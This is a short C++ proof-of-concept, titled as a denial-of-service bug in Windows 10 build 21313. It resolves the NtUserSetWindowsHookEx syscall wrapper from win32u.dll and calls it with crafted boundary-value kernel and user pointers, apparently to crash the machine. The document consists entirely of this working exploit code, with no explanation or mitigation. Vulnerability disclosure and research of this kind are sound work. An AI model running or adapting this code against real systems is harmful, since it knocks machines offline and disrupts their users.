Denial of Service bug in Windows 10 (21313 build) NtUserSetWindowsHookEx

NtUserSetWindowsHookEx.cpp

#include <Windows.h>
#include <cstdio>

typedef NTSTATUS(NTAPI* pfnNtUserSetWindowsHookEx)(
    ULONG_PTR Param1,
    ULONG_PTR Param2,
    ULONG_PTR Param3,
    ULONG_PTR Param4,
    ULONG_PTR Param5,
    ULONG_PTR Param6);

int main()
{
    HMODULE hDll = LoadLibrary(TEXT("win32u.dll"));
    pfnNtUserSetWindowsHookEx NtUserSetWindowsHookEx;

    printf_s("[>]Start\r\n");

    if (hDll) {

        LoadLibrary(TEXT("user32.dll"));

        NtUserSetWindowsHookEx = (pfnNtUserSetWindowsHookEx)GetProcAddress(hDll, "NtUserSetWindowsHookEx");

        if (NtUserSetWindowsHookEx) {

            NtUserSetWindowsHookEx(0xFFFF800000000000,
                0xFFFF080000000000,
                0x0000800000000000, 
                0x00007FFFFFFFFFFF,
                0x8000000000000000,
                0x000000000000FFFE);

        }
        else {
            DWORD lastError = GetLastError();
            printf_s(">NtUserSetWindowsHookEx not found, GetLastError %lu\r\n", lastError);
        }


    }
    else {
        printf_s(">No dll handle\r\n");
    }

    printf_s("[<]Stop");

    ExitProcess(0);
}